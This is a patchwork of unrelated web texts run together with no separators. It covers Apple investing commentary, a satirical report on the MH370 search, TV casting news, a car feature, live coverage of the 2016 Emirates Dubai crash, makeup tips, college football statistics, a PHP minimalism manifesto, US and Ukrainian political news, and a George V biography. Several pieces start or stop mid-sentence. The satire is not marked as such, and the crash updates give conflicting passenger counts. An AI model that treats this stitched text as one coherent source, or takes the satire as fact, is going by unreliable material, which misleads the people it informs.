Similar to the notion that half of all Apple users became Apple users last year then perhaps more than half the comments on Apple are from people who never commented on Apple before. Therefore these new comments come from people who did not observe Apple prior to its most recent ascent. Therefore the current dip in share price is the first they’ve ever observed first-hand. They give it disproportionate significance. I’ve pointed out that there have been massive declines in share price in the last decade. Most of them rooted in forgettable reasoning.
“My rule of thumb is that investors should expect a 40% drop in Apple shares at any time and for no reason. Warren Buffet seems to agree. There can be a long discussion about why that is but I think it suffices to say that there are too many institutional owners, and hence too much concentration of homogeneous thought about the company.”
“Anyone suggesting Tim Cook should be fired is a neophyte”
“Anyone suggesting Tim Cook should be fired is a neophyte. This would apply to anyone suggesting the firing of any CEO’s. The process of hiring and firing CEOs is complex, political and varies widely by company and reason.”
TNW: Apple is seeing revenue from China rise despite a relatively modest position in the country’s smartphone market share which Samsung now leads. Would you classify the company’s operations in the country as on the right road for success, or is it under-performing?
Dediu: Apple’s China revenues for Q1 have increased nearly four-fold in two years. China share of Apple’s global revenues more than doubled going from 9% to 19% in the same two years. I’m unsure of what level of performance should be considered good enough but Tim Cook said it will be their biggest market. He should know.”
TNW: At what point do you believe that the majority of people in emerging markets will own smartphones (if at all)?
Dediu: The question is academic. The more important question is when will mobile broadband be available to all those who own smartphones. The economics of providing bandwidth are out of sync with the economics of providing terminals that can consume it. If it continues this way, all those smartphones will not be used for mobile data and will thus be essentially dumb. (Broadband is only a proxy. Mobile app usage, messaging, mobile media and payments will all have to be served over a broadband network which may not scale.)
“The phenomenon of ownership without usage was all too common years ago when Symbian and BlackBerry dominated smartphone share. The result was a lack of “stickiness” of ecosystems and a wholesale replacement when alternatives were presented.”
—
Horace Dediu will be talking about the future of computing at Thinking Digital, a conference we described last year as “The UK’s answer to TED.” The conference takes place on 21-23 May 2013 in Gateshead and other speakers include Facebook’s Maria Giudice; Aza Raskin, VP of Design at Jawbone; UX designer, Aral Balkan and the BBC’s Maggie Philbin.
The final few tickets are available now.
Image credit: AppWorks2012 / Flickr
Read next: JoyTunes plays it cool, releases new piano practice app and raises $1.5m in funding‘Why Are We Even Here?’ Officials Probe
KUALA LUMPUR, MALAYSIA—Following a host of conflicting reports in the wake of the mysterious disappearance of Malaysia Airlines Flight 370 last Saturday, representatives from the Kuala Lumpur–based carrier acknowledged they had widened their investigation into the vanished Boeing 777 aircraft today to encompass not only the possibilities of mechanical failure, pilot error, terrorist activity, or a botched hijacking, but also the overarching scope of space, time, and humankind’s place in the universe.
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The airline, now in its fifth day of searching for the passenger jet carrying 239 passengers and crew, has come under fire for its perceived mishandling of the investigation, whose confusing and contradictory reports have failed to provide definitive answers on everything from how long the missing plane remained aloft after losing contact with air traffic controllers, to whether the flight made a radical alteration in its heading, to the very dimensions of space-time and the nature of reality, and what exactly it is that brought us into existence and imbued us with this thing we call life.
Additionally, the airline confirmed it had expanded its active search area to include a several-hundred-square-mile zone in the Indian Ocean as well as each of the seven or 22 additional spatial dimensions posited by string theory.
“We continue to do everything in our power and explore every possible lead—both Cartesian and phenomenological—to locate the aircraft as quickly as possible,” said Malaysia’s civil aviation chief Azharuddin Abdul Rahman, who went on to say that authorities were still actively seeking tips from anyone claiming knowledge related either to the flight, or to the mechanisms by which consciousness arises, or to the question of why anything physical and finite exists instead of nothing at all. “At this stage, we can’t rule anything out: not crew interference with the transponders, not a catastrophic electrical failure, not the emergence of a complex topological feature of space-time such as an Einstein-Rosen bridge that could have deposited the flight at any location in the universe or a different time period altogether, nothing.”
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“Could a parallel universe have immediately swelled up from random cosmological fluctuation according to the multiverse theory and swallowed the flight into its folds, or could ice have built up on an airspeed sensor? Those are both options we are currently considering,” Rahman added. “Everything’s on the table. That is, insofar as anything exists at all, which we’re also looking into.”
Rahman assured the press and families of passengers that officials would not rest until they locate the plane, provided that sensory experience can be verified beyond the existence of one’s own mind. Malaysian authorities also cautioned that they were dealing with an unprecedented aviation mystery and that it could take months to ascertain the airliner’s exact fate as well as, for that matter, the fate of mankind itself, assuming a linear theory of space-time in which the future is unknowable and objects travel in a forward trajectory which, authorities hasten to add, is not necessarily the case.
In addition, airline sources attempted to assuage an uneasy public by noting they had brought in top crash investigators from the Malaysian, Vietnamese, and Chinese governments, as well as U.S. Navy personnel, Boeing technicians, leading quantum physicists, theoretical cosmologists, metaphysicians, epistemologists, and determinist philosophers to help scour all conceivable and as yet inconceivable locations in which the plane might be located.
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“The bottom line is that we have a sophisticated aircraft fresh off a safety inspection with no prior incident of malfunction, flying in good weather at a cruising altitude,” Rahman continued. “Why didn’t the pilot send a distress signal? Why aren’t we finding a debris path? What are we to make of the contradictory radar information? Where did the universe begin and can it be said to have a limit or an edge? What is mankind’s role in it? Is there a God? If so, what is God’s nature?”
“It’s too early to answer these questions right now, but I can assure you that Malaysia Airlines will get to the bottom of it,” Rahman added. “Our top people are on it right now.”ComicBook.com can exclusively reveal your first look at Natalia Cordova-Buckley (McFarland, USA) as Elena Rodriguez on Marvel’s Agents of S.H.I.E.L.D.. Rodriguez is described as a street-wise Colombian woman given Inhuman abilities and is based on the character Slingshot from the Secret Warriors comic series.
In the Marvel Comics universe, Rodriguez – who goes by the nickname “Yo-Yo” – is the daughter of the villain called Griffin. She has the ability to move at super speed and then snap back to the spot she started from, hence the nickname and codename. She is one of the Caterpillars recruited by Nick Fury into the Secret Warriors. During an operation, Slingshot has both of her arms cut off by the Gorgon, one of Hydra’s deadliest agents. Slingshot is fitted with two prosthetic replacements and returns to active duty as a member of the team.Next Chapter >
Inspiration; it’s a word we all use and understand, but I believe we seldom realize just how strongly it impacts our lives. No matter what it is we’re going through we draw inspiration from past experiences which inevitably define our future. In the world of cars inspiration is the common bond we as enthusiasts have the keep us building and tweaking for year after year.
Whether people realize it or not, even the most unique harebrained one-off creations are inspired by something. Other times you can look at a car and quite clearly see the inspiration behind a certain build, and at first glance I’d presume most of you see the IMSA GTU influence that is gushing from this RX-7.
Everything about the car right down to the very deliberate color scheme screams of an era when many of you reading this were yet to be born. That doesn’t necessarily mean that you can’t appreciate such a machine, in fact I’d argue to the contrary. There’s a saying that “everything goes in cycles” in regards to fashion and trends and I’d say that with the advent of apps like Instagram and stores like Urban Outfitters, this is a period in time that is very “in” at the moment.
If you don’t believe me, look no further than our own industry |
more details of the accident when we get it,” he said.
People treated for smoke inhalation
Less than 10 passengers were treated for smoke inhalation and burn injuries at the Rashid Hospital after the Emirates airline accident. Only one person was admitted for long-term treatment.
According to the official statement from the hospital, the Rashid Hospital Disaster Management team was put into high alert by 12.45 pm soon after news of the incident was reported.
All 37 emergency beds, 88 critical care beds and 166 stable cases beds were ready. However these were not pressed into action.
flydubai cancels flights
Due to the closure of Dubai International Airport (DXB), flydubai has cancelled all flights to and from DXB until 22:00 (Dubai time).
Passengers are advised to contact their Travel Agent or the flydubai Contact Centre on (+971) 600 54 44 45 to rebook on the next available flydubai flight or receive a refund to original form of payment.
The Emirates aircraft was a Boeing 777-300 and delivered in March 2003.
Evacuation and rescue operations were done with extreme efficiency and care and passengers were taken to safety in no time.
The nationalities of passengers and crew on board are:
226 - India 2 - Malaysia 24 - UK 2 - Thailand 11 - UAE 1 - Croatia 6 - US 1 - Egypt 6 - Saudi Arabia 1 - Bosnia & Herzegovina 5 - Turkey 1 - Lebanon 4 - Ireland 1 - Philippines 2 - Australia 1 - South Africa 2 - Brazil 1 - Switzerland 2 - Germany 1 - Tunisia
The Boeing 777 aircraft, departed at 10.19am from Trivandrum International Airport and was scheduled to land at 12.50pm at Dubai International Airport.
We are expecting a 8-hour network wide delay, more information will be available on the Emirates website and social media channels.
Update from Emirates
Emirates can confirm that today, 3 August 2016, flight EK521 travelling from Trivandrum International Airport in Thiruvananthapuram, India to Dubai has been involved in an accident at Dubai International Airport. There were 282 passengers and 18 crew on board.
The Boeing 777 aircraft, departed at 10.19am from Trivandrum International Airport and was scheduled to land at 12.50pm at Dubai International Airport.
In preparation: Humaid Al Qutami, Chairman of the Board and Director General of DHA, with other top officials, at the emergency centre of Rashid Hospital. Suchitra Vajpayee Choudhary/Gulf News
We can confirm that there are no fatalities among our passengers and crew. All passengers and crew are accounted for and safe.
We are expecting a 4-hour network wide delay, more information will be available on the Emirates website and social media channels.
The main priority remains with those involved and offering support to concerned family and friends. Dedicated telephone lines are now active for family members:
UAE - 8002111
UK - 00442034508853
US - 0018113502081
For members of the media, the Emirates Press Office in Dubai is now activated: 00971 4 708 37 13
All passengers have been escorted to safety. The area has been cordoned off.
No takeoff and landing at Dubai airport right now.
Update Emirates statement
Emirates can confirm that today, 3rd August 2016, flight EK521 travelling from Trivandrum International Airport in Thiruvananthapuram, India to Dubai has been involved in an accident at Dubai International Airport. There were 275 passengers and crew on board.
Our main priority at this time is the safety and wellbeing of all involved and full co-operation is being extended to the authorities and emergency services managing the situation.
Emirates can confirm that an incident happened at Dubai International Airport on 3rd August 2016 at about 12.45pm local time.— Emirates airline (@emirates) August 3, 2016
Departure flights from Dubai International Airport have been delayed until further notice. Zarina Fernandes/Gulf News
All flights diverted to Maktoum International Airport. On its Facebook page, the airline said: “We are expecting a 4-hour network wide delay, more information will be available on the Emirates website and social media channels.”
Relatives are waiting
Anxious relatives are waiting to see the passengers on the affected plane at the waiting area of the arrival terminal.
Operations at DXB have been affected with all departing flights delayed until further notice.— Dubai Airports (@DubaiAirports) August 3, 2016
There were 275 passengers and crew on board. Our main priority now is the safety and well-being of all involved.— Emirates airline (@emirates) August 3, 2016
Emergency response teams have been activated and all passengers and crew have been safely evacuated.— Dubai Airports (@DubaiAirports) August 3, 2016
Reji George who lives in Deira is one of the relatives anxiously waiting for the passengers to come out at the arrival lounge. His brother and family were among the passengers. "I was on the way actually because the flight landed. They called me around 12:50 saying that the flight is burning and all the passengers are out. Nobody knows actually what happened."
Passengers waiting at the terminal. Zarina Fernandes/Gulf News
He said his brother, wife and two kids aged 10 and 12 were safe. Another Indian man who didn't want to be named said he was waiting for his wife.
"People have inhaled smoke. Those who left the plane early might not have. But those who went out later have inhaled smoke," he said, quoting his wife. "All of them in the hanger. We don't know how long it will take for them to come out."
"I went to the EK office on the 3rd floor to ask What is the next step the general procedures... they are not saying anything.. they asked me to ask at the information coubter at the arrival area I had already gone there."
Manu, who came to pick his cousin sister and two kids, said he got to know the information on the way through flash news.
"I spoke to her once. She couldn't say much. They are okay. But I think the kids have inhaled smoke. The second one is just three months old. She had gone to Kerala for her delivery."
Here husband is in Abu Dhabi and he is on his way. He had planned to come only tomorrow because we are here. But now he is rushing here, said Manu who was seen consoling his brother-in-law.
Gulf News Staff Reporter Alexander Cornwell reports (video):Cystic acne can be more than just physically painful. The dark red swollen areas create a sense of insecurity in a lot of us who suffer from the problem. Worse yet, no matter what we do with cystic acne, makeup never seems to stick. For this troublesome issue, the most important aspects are product and procedure—in other words, what you’re using to cover the acne and how you’re using it.
Below, I've laid out some simple tips for camouflaging acne—even the most troublesome blemishes that may seem impossible to hide. With the right products and techniques, you can create even coverage that won't make your underlying pimples look obvious. In fact, they'll practically disappear into the rest of your complexion.
Keep scrolling to find out how to cover cystic acne like a makeup artist!By beating Alabama 35-31 in Monday night’s instant classic of a College Football Playoff Championship, Clemson and its quarterback, Deshaun Watson, pulled off a number of incredible feats.
For starters, the Tigers became the fifth-greatest upset champions since 1975, beating a Crimson Tide squad that, at its peak, was ranked as the best team in modern college history by FiveThirtyEight’s Elo power ratings:
SEASON CHAMPION BOWL RESULT BOWL OPPONENT PREGAME ELO WIN PROBABILITY 2002 Ohio State 31-24, Fiesta Bowl Miami (FL) 22.2% 1983 Miami (FL) 31-30, Orange Bowl Nebraska 25.9 2006 Florida 41-14, BCS Championship Ohio State 28.6 1992 Alabama 34-13, Sugar Bowl Miami (FL) 30.5 2016 Clemson 35-31, CFP Championship Alabama 32.9 1981 Clemson 22-15, Orange Bowl Nebraska 34.0 2000 Oklahoma 13-2, Orange Bowl Florida State 35.8 2005 Texas 41-38, Rose Bowl USC 39.8 2014 Ohio State 42-20, CFP Championship Oregon 40.1 2010 Auburn 22-19, BCS Championship Oregon 41.9 Biggest college football championship upsets, 1975-2016 Source: College Football at Sports-Reference.com
That’s not to say the 13-1 Tigers didn’t appear to stand a chance against the 14-0 Crimson Tide; Clemson finished the season with history’s 18th-best peak rating. But the Tigers’ task was still daunting, particularly when the third quarter ended and they were still trailing by 10 points. During Nick Saban’s tenure at Alabama, the Tide were 97-0 when leading by double digits going into the final quarter of a game.
That’s when Watson began to dominate the vaunted Alabama defense, which had previously been lauded as among the greatest in college football history. In the fourth, Watson completed 12 of 18 passes for 130 yards and two touchdowns, adding 22 more yards on the ground. He led Clemson to the most points (21) and third-most total yardage (152) any team put up against Alabama in a fourth quarter this season, capping off the victory with a 2-yard touchdown to Hunter Renfrow that put Clemson up with 1 second left on the clock.
That quarter helped Watson secure the best individual performance by a QB on the championship stage since the 2000 season. At least, that’s according to total adjusted yards, which takes a player’s total offense (passing plus rushing yards) and adds a bonus of 20 yards for every passing or rushing touchdown and subtracts a penalty of 45 yards for every interception. By that measure, Watson’s performance on Monday surpassed even Vince Young’s incredible feats in the 2006 Rose Bowl:
PASSING RUSHING PLAYER SEASON SCHOOL OPPONENT YDS TD INT YDS TD TOTAL ADJ. YARDS 1 Deshaun Watson 2016 Clemson Alabama 420 3 0 43 1 543 2 Vince Young 2005 Texas USC 267 0 0 200 3 527 3 Deshaun Watson 2015 Clemson Alabama 405 4 1 73 0 513 4 Marcus Mariota 2014 Oregon Ohio State 333 2 1 39 0 367 5 A.J. McCarron 2012 Alabama Notre Dame 264 4 0 9 0 353 6 Matt Leinart 2005 USC Texas 365 1 1 2 0 342 7 Cam Newton 2010 Auburn Oregon 265 2 1 64 0 324 8 Jameis Winston 2013 Florida State Auburn 237 2 0 26 0 303 9 Tim Tebow 2008 Florida Oklahoma 231 2 2 109 0 290 10 Nick Marshall 2013 Auburn Florida State 217 2 1 45 1 277 Best QB performances in a championship bowl, 2000-16 Total adjusted yards adds a player’s passing and rushing yards, plus 20-yard bonuses for passing and rushing TDs and a 45-yard penalty for interceptions. Source: College Football at Sports-Reference.com
And, unlike most recent champions, the Tigers were not longstanding members of college football royalty. Clemson won the national title in 1981, but it also spent most of the 1990s and 2000s as a decent-but-not-great program. It wasn’t until coach Dabo Swinney’s third or fourth full season at the helm that the Tigers became a permanent presence among the nation’s top 10 teams.
To demonstrate the team’s rapid rise, let’s look at its last 25 seasons. Going back to the dawn of the Bowl Coalition era in 1992, no champion has had a lower average end-of-season Elo rating in the 20 seasons leading up to the five seasons before its title than Clemson. Meaning, the Tigers didn’t have the advantage of a longstanding lofty pedigree; they just got very good very quickly:
ELO RATING SEASON NATIONAL CHAMPION CHAMPIONSHIP SEASON 5-YEAR AVG. HISTORICAL AVG. 2016 Clemson +30.4 +20.4 +6.4 2015 Alabama +32.8 +29.1 +13.9 2014 Ohio State +31.5 +19.1 +16.9 2013 Florida State +27.3 +17.9 +21.0 2012 Alabama +31.9 +26.7 +12.6 2011 Alabama +30.4 +21.1 +13.2 2010 Auburn +23.4 +10.7 +12.7 2009 Alabama +29.3 +13.3 +14.2 2008 Florida +31.9 +19.6 +18.6 2007 LSU +23.4 +22.2 +7.5 2006 Florida +24.3 +14.1 +19.0 2005 Texas +28.6 +21.9 +8.4 2004 USC +31.8 +19.0 +12.4 2003 USC +28.4 +14.1 +13.3 2003 LSU +24.7 +12.1 +7.2 2002 Ohio State +22.1 +13.5 +14.4 2001 Miami (FL) +29.6 +16.9 +18.2 2000 Oklahoma +26.0 +5.7 +17.1 1999 Florida State +29.4 +26.0 +18.1 1998 Tennessee +26.9 +22.7 +10.9 1997 Michigan +27.2 +18.9 +19.1 1997 Nebraska +31.3 +28.1 +20.5 1996 Florida +31.0 +23.9 +11.1 1995 Nebraska +33.9 +23.3 +21.8 1994 Nebraska +27.6 +18.7 +22.5 1993 Florida State +29.8 +28.1 +9.9 1992 Alabama +26.5 +17.9 +20.8 Clemson didn’t come from a championship pedigree Five-year Elo rating averages include the championship season and the four previous seasons. Historical averages are 20-year averages starting from 24 years before the championship season and going though five years before that season. Source: College Football at Sports-Reference.com
In an era dominated by the Alabamas and Ohio States of the world, Clemson’s victory proved that with the right coach — and a special talent like Watson under center — a school can still rise from the middle of college football’s pack and become a champion.The standard line about the history of Punk is that it was a reaction to the excesses of modern rock, particularly progressive rock of the time. The reality is undoubtedly more complex, but I suspect there is some truth to that. Rock n roll did seem to be the realm of Golden Gods in the late 60s and 70s, inaccessible to average folk. The contrast between bands like Rush and Black Flag –– both supposedly playing “rock” –– was extreme.
For fun, let’s take a look at Rush drummer Neil Peart’s drum kit:
Now, here’s Black Flag playing in LA in 1979:
You can fit the entirety of Black Flag in the space of Neil Peart’s drum kit. And they would still play awesome shit and rock you the fuck out.
In the past few years, the PHP Zeitgeist seems like it’s been moving in the Neil Peart direction. Lots of work by lots of smart people is going into complex, verbose solutions. Lots of files, lots of nested directories, and lots of rules. I frequently see PHP libraries/components that look like this:
All that, just to start your application.
It doesn’t mean this approach is bad, per se. But when I see it, I have a visceral negative reaction. My brain screams
FUCK.
THAT.
SHIT.
I can’t do it. I don’t want it. And I don’t think we have to do it this way to do cool things and build awesome stuff.
The approach I’ve been taking lately is to start with as lightweight a foundation as possible, in the form of a “microframework.” A few of these exist for PHP (of course), including Slim, Epiphany, Breeze, Limonade, and others. For additional functionality, I pull in lightweight libraries that help me accomplish only the tasks I need. Clarity and brevity are my top considerations.
My other big consideration is the commitment I make when I use code I didn’t write. Typically I don’t have time to do a full code audit on libraries, so there’s a level of trust that goes with it. And each dependency means more trust. Not just that there aren’t bugs (I expect that if they’re anything like me), but security issues – both whether they exist, and how they will be handled. Will an announcement go out to a mailing list? How long will security fixes be provided that don’t break backwards compatibility? Will I have to upgrade all my dependencies if I upgrade to the next PHP point release? And all of that assumes the author will have the time and motivation to provide prompt fixes. If they don’t, you’ve just added a bunch of technical debt to your codebase.
Finding lightweight libraries that don’t pull in lots of additional code dependencies is much harder than it should be. Mostly I think that’s attributable to PHP devs being more interested in framework-specific development. Some work is being done to make mature frameworks less monolithic, and many devs on Twitter have recommended Symfony components as an option. Unfortunately, I think my definition of “lightweight” is not the same as theirs.
Here’s the cloc output for a git clone of the symfony2 HTTP Kernel component:
Mon Dec 26 19:42:23 EST 2011 coj@PsychoMantis ~/Sites > cloc HttpKernel 94 text files. 93 unique files. 12 files ignored. http://cloc.sourceforge.net v 1.53 T=0.5 s (164.0 files/s, 18736.0 lines/s) ------------------------------------------------------------------------------- Language files blank comment code ------------------------------------------------------------------------------- PHP 72 1175 3440 4290 Bourne Shell 10 56 155 252 ------------------------------------------------------------------------------- SUM: 82 1231 3595 4542 -------------------------------------------------------------------------------
Here’s the same for the Slim framework:
Mon Dec 26 19:42:27 EST 2011 coj@PsychoMantis ~/Sites > cloc Slim 54 text files. 51 unique files. 13 files ignored. http://cloc.sourceforge.net v 1.53 T=0.5 s (82.0 files/s, 17752.0 lines/s) ------------------------------------------------------------------------------- Language files blank comment code ------------------------------------------------------------------------------- PHP 31 660 4473 3280 Bourne Shell 10 56 155 252 ------------------------------------------------------------------------------- SUM: 41 716 4628 3532 -------------------------------------------------------------------------------
and the Epiphany framework:
Mon Dec 26 19:42:30 EST 2011 coj@PsychoMantis ~/Sites > cloc Epiphany 83 text files. 70 unique files. 31 files ignored. http://cloc.sourceforge.net v 1.53 T=0.5 s (102.0 files/s, 5246.0 lines/s) ------------------------------------------------------------------------------- Language files blank comment code ------------------------------------------------------------------------------- PHP 40 218 309 1632 Bourne Shell 10 56 155 252 HTML 1 0 0 1 ------------------------------------------------------------------------------- SUM: 51 274 464 1885 -------------------------------------------------------------------------------
When there are more files and lines of code in your component than in my entire base framework, I can’t call it “lightweight.”
It doesn’t mean that stuff is bad, in the grand scheme of things. It doesn’t mean it has no value or is the wrong approach for many. But it’s the wrong approach for me, for sure. And I don’t think I am alone.
I don’t want to be the prog rock superstar, writing a pretentious rock opera. I want to play shitty power chords in a punk rock band that plays shows in a VFW lodge with no stage, and leaves you so fucking pumped that you go out and form your own band. That’s the coder I want to be.
I don’t want to be Neil Peart. I want to be Gregg Ginn.
So I wrote this. A “micro PHP manifesto,” if you will. I plan to use it to guide my PHP dev. Maybe you will find it useful as well.
I am a PHP developer
I am not a Zend Framework or Symfony or CakePHP developer
I think PHP is complicated enough
I like building small things
I like building small things with simple purposes
I like to make things that solve problems
I like building small things that work together to solve larger problems
I want less code, not more
I want to write less code, not more
I want to manage less code, not more
I want to support less code, not more
I need to justify every piece of code I add to a project
I like simple, readable code"Providing the Congress the tapes and the memos may be the only way for this administration to credibly make a case to a justifiably skeptical American public about its version of the story.... The president says what Comey said was wrong. Prove it," Schumer said.
The New York Times reported late Tuesday that Trump tried to get Comey to end an investigation into former national security adviser Michael Flynn, who was fired after he misled Vice President Pence and other White House officials over his conversations with Russia's ambassador to the U.S.
The White House has denied the allegations. Schumer added on Wednesday that Trump could easily prove that the administration is telling the truth.
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"If Trump is right, he'll have no problem releasing memos, tapes, transcripts that collaborate his story. But if he fails to release them, the American people will justifiably tend to side with Mr. Comey, not what the president had to say," Schumer said.
The New York Times report is the latest White House scandal to roil Congress since Comey's firing last week, which largely caught lawmakers off guard. The Washington Post also reported that Trump gave classified information to top Russian officials during an Oval Office meeting last week.
Schumer added on Wednesday that the series of controversies has "shaken my confidence in this administration's competence and credibility."
He also reiterated his call for a special prosecutor to take over the investigation into Russia's election meddling, warning Republicans that "history is watching."
"To my friends on the other side of the aisle, America needs you. America needs you now. America needs you to help pressure the Deputy Attorney General to name a special prosecutor, to compel this White House to turn over the transcripts and tapes to Congress," he said.Vladimir Putin came under attack by religious leaders on Sunday, with the Dalai Lama describing him as "self-centred" and the head of Ukraine's Orthodox Church claiming the Russian preisdent is possessed by Satan.
The Dalai Lama, in an interview with a German newspaper, pointed out that Mr Putin had served as Russian president, then prime minister and then president again.
"That's a bit too much," he told the Welt am Sonntag newspaper. "This is very self-centred." "His attitude is: 'I, I, I'," Tibet's exiled spiritual leader explained.
Referring to the ongoing Ukraine crisis, the Dalai Lama said: "We had become accustomed (to the fact) that the Berlin Wall has fallen.
"Now President Putin seems to want to rebuild it. But he is hurting his own country by doing this. Isolation is suicide for Russia."
Surprisingly, the Dalai Lama compared China favourably to Russia. China has ruled Tibet since invading the country in 1950.
"China and Russia, these are two very different cases," said the Dalai Lama, voicing hope that "the modern world supports China becoming a democratic country".
"China wants to be part of the global political system and will be ready to accept the international rules in the long run," he said in the interview conducted in English.
"I don't have the impression that this accounts for Russia and President Putin, as well, at the moment."
Patriarch Filaret, meanwhile, claimed Mr Putin is possessed by Satan and faces eternal damnation unless he repents,
The head of Ukraine's Orthodox Church said in a statement titled "New Cain" that Mr Putin was trying to "incite bloodshed and killings" in eastern Ukraine.
"With great regret I must now say publicly that among the rulers of this world... there has appeared a new Cain, not by his name but by his deeds," he said
"Like the first fratricide of history Cain, these deeds show that the aforementioned ruler has fallen under the action of Satan," he said in the statement, published on the patriarchate's website in Ukrainian, Russian and English.
Mr Putin "himself tells obvious outward lies: while organising and sending mercenary killers to our countries, he talks about an 'internal conflict' in which he is allegedly not involved," he said.
Patriarch Filaret heads the Kiev Patriarchate, a branch of the Orthodox Church that broke away from Moscow in 1992
The patriarch added that Ukrainians had repeatedly called on Mr Putin "and his accomplices to come to their senses, stop sowing evil and death, and repent".
"But it seems that he remains deaf to these calls and only multiplies evil because he, like Judas Iscariot, has become possessed by Satan."
Patriarch Filaret added there was still hope for Mr Putin.
"However, relying on God's mercy to all sinners, yet we maintain hope on repentance of this ruler and refer to him the call of millions of people: Stop, cease the multiplication of lies and murder, come to your senses!", the statement says.
About 15 per cent of Ukrainians are believed to be members of the Ukrainian Orthodox Church.
Its much larger Moscow-based counterpart has direct ties to the Russian Orthodox Church led by Patriarch Kirill – a close Putin ally who plays an increasingly visible role in politics.
On Sunday a fragile ceasefire deal agreed on Friday was in tatters, after pro-Russian forces launched an intense artillery bombardment of Ukrainian positions on the outskirts of Mariupol. A woman died – the first death since the announcement of the deal – and at least four people were wounded.
The fighting in Ukraine has killed over 2,500 people since April and displaced up to one million.George V (George Frederick Ernest Albert; 3 June 1865 – 20 January 1936) was King of the United Kingdom and the British Dominions, and Emperor of India, from 6 May 1910 until his death in 1936.
Born during the reign of his grandmother Queen Victoria, George was third in the line of succession behind his father, Prince Albert Edward, and his own elder brother, Prince Albert Victor. From 1877 to 1891, George served in the Royal Navy, until the unexpected death of his elder brother in early 1892 put him directly in line for the throne. On the death of his grandmother in 1901, George's father ascended the throne as Edward VII, and George was created Prince of Wales. He became king-emperor on his father's death in 1910.
George V's reign saw the rise of socialism, communism, fascism, Irish republicanism, and the Indian independence movement, all of which radically changed the political landscape. The Parliament Act 1911 established the supremacy of the elected British House of Commons over the unelected House of Lords. As a result of the First World War (1914–1918), the empires of his first cousins Nicholas II of Russia and Wilhelm II of Germany fell, while the British Empire expanded to its greatest effective extent. In 1917, George became the first monarch of the House of Windsor, which he renamed from the House of Saxe-Coburg and Gotha as a result of anti-German public sentiment. In 1924 he appointed the first Labour ministry and in 1931 the Statute of Westminster recognised the dominions of the Empire as separate, independent states within the Commonwealth of Nations. He had smoking-related health problems throughout much of his later reign and at his death was succeeded by his eldest son, Edward VIII.
Early life and education [ edit ]
George was born on 3 June 1865, in Marlborough House, London. He was the second son of Albert Edward, Prince of Wales, and Alexandra, Princess of Wales. His father was the eldest son of Queen Victoria and Prince Albert, and his mother was the eldest daughter of King Christian IX and Queen Louise of Denmark. He was baptised at Windsor Castle on 7 July 1865 by the Archbishop of Canterbury, Charles Longley.[1]
George as a young boy, 1870
As a younger son of the Prince of Wales, there was little expectation that George would become king. He was third in line to the throne, after his father and elder brother, Prince Albert Victor. George was only 17 months younger than Albert Victor, and the two princes were educated together. John Neale Dalton was appointed as their tutor in 1871. Neither Albert Victor nor George excelled intellectually.[2] As their father thought that the navy was "the very best possible training for any boy",[3] in September 1877, when George was 12 years old, both brothers joined the cadet training ship HMS Britannia at Dartmouth, Devon.[4]
For three years from 1879, the royal brothers served on HMS Bacchante, accompanied by Dalton. They toured the colonies of the British Empire in the Caribbean, South Africa and Australia, and visited Norfolk, Virginia, as well as South America, the Mediterranean, Egypt, and East Asia. In 1881 on a visit to Japan, George had a local artist tattoo a blue and red dragon on his arm,[5] and was received in an audience by the Emperor Meiji; George and his brother presented Empress Haruko with two wallabies from Australia.[6] Dalton wrote an account of their journey entitled The Cruise of HMS Bacchante.[7] Between Melbourne and Sydney, Dalton recorded a sighting of the Flying Dutchman, a mythical ghost ship.[8] When they returned to Britain, Queen Victoria complained that her grandsons could not speak French or German, and so they spent six months in Lausanne in an ultimately unsuccessful attempt to learn another language.[9] After Lausanne, the brothers were separated; Albert Victor attended Trinity College, Cambridge, while George continued in the Royal Navy. He travelled the world, visiting many areas of the British Empire. During his naval career he commanded Torpedo Boat 79 in home waters then HMS Thrush on the North America station, before his last active service in command of HMS Melampus in 1891–92. From then on, his naval rank was largely honorary.[10]
Marriage [ edit ]
George, 1893
As a young man destined to serve in the navy, Prince George served for many years under the command of his uncle, Prince Alfred, Duke of Edinburgh, who was stationed in Malta. There, he grew close to and fell in love with his cousin, Princess Marie. His grandmother, father and uncle all approved the match, but the mothers—the Princess of Wales and the Duchess of Edinburgh—opposed it. The Princess of Wales thought the family was too pro-German, and the Duchess of Edinburgh disliked England. Marie's mother was the only daughter of Tsar Alexander II of Russia. She resented the fact that, as the wife of a younger son of the British sovereign, she had to yield precedence to George's mother, the Princess of Wales, whose father had been a minor German prince before being called unexpectedly to the throne of Denmark. Guided by her mother, Marie refused George when he proposed to her. She married Ferdinand, the future King of Romania, in 1893.[11]
In November 1891, George's elder brother, Albert Victor, became engaged to his second cousin once removed, Princess Victoria Mary of Teck, known as "May" within the family.[12] May's father, Prince Francis, Duke of Teck, belonged to a morganatic, cadet branch of the house of Württemberg. Her mother, Princess Mary Adelaide of Cambridge, was a male-line granddaughter of King George III and a first cousin of Queen Victoria.[13]
On 14 January 1892, six weeks after the formal engagement, Albert Victor died of pneumonia, leaving George second in line to the throne, and likely to succeed after his father. George had only just recovered from a serious illness himself, after being confined to bed for six weeks with typhoid fever, the disease that was thought to have killed his grandfather Prince Albert.[14] Queen Victoria still regarded Princess May as a suitable match for her grandson, and George and May grew close during their shared period of mourning.[15] A year after Albert Victor's death, George proposed to May and was accepted. They married on 6 July 1893 at the Chapel Royal in St James's Palace, London. Throughout their lives, they remained devoted to each other. George was, on his own admission, unable to express his feelings easily in speech, but they often exchanged loving letters and notes of endearment.[16]
Duke of York [ edit ]
George with his children, Edward Albert, and Mary, photographed by Alexandra in 1899
The death of his elder brother effectively ended George's naval career, as he was now second in line to the throne, after his father.[17] George was created Duke of York, Earl of Inverness and Baron Killarney by Queen Victoria on 24 May 1892,[18] and received lessons in constitutional history from J. R. Tanner.[19]
The Duke and Duchess of York lived mainly at York Cottage,[20] a relatively small house in Sandringham, Norfolk, where their way of life mirrored that of a comfortable middle-class family rather than royalty.[21] George preferred a simple, almost quiet, life, in marked contrast to the lively social life pursued by his father. His official biographer, Harold Nicolson, later despaired of George's time as Duke of York, writing: "He may be all right as a young midshipman and a wise old king, but when he was Duke of York... he did nothing at all but kill [i.e. shoot] animals and stick in stamps."[22] George was an avid stamp collector, which Nicolson disparaged,[23] but George played a large role in building the Royal Philatelic Collection into the most comprehensive collection of United Kingdom and Commonwealth stamps in the world, in some cases setting record purchase prices for items.[24]
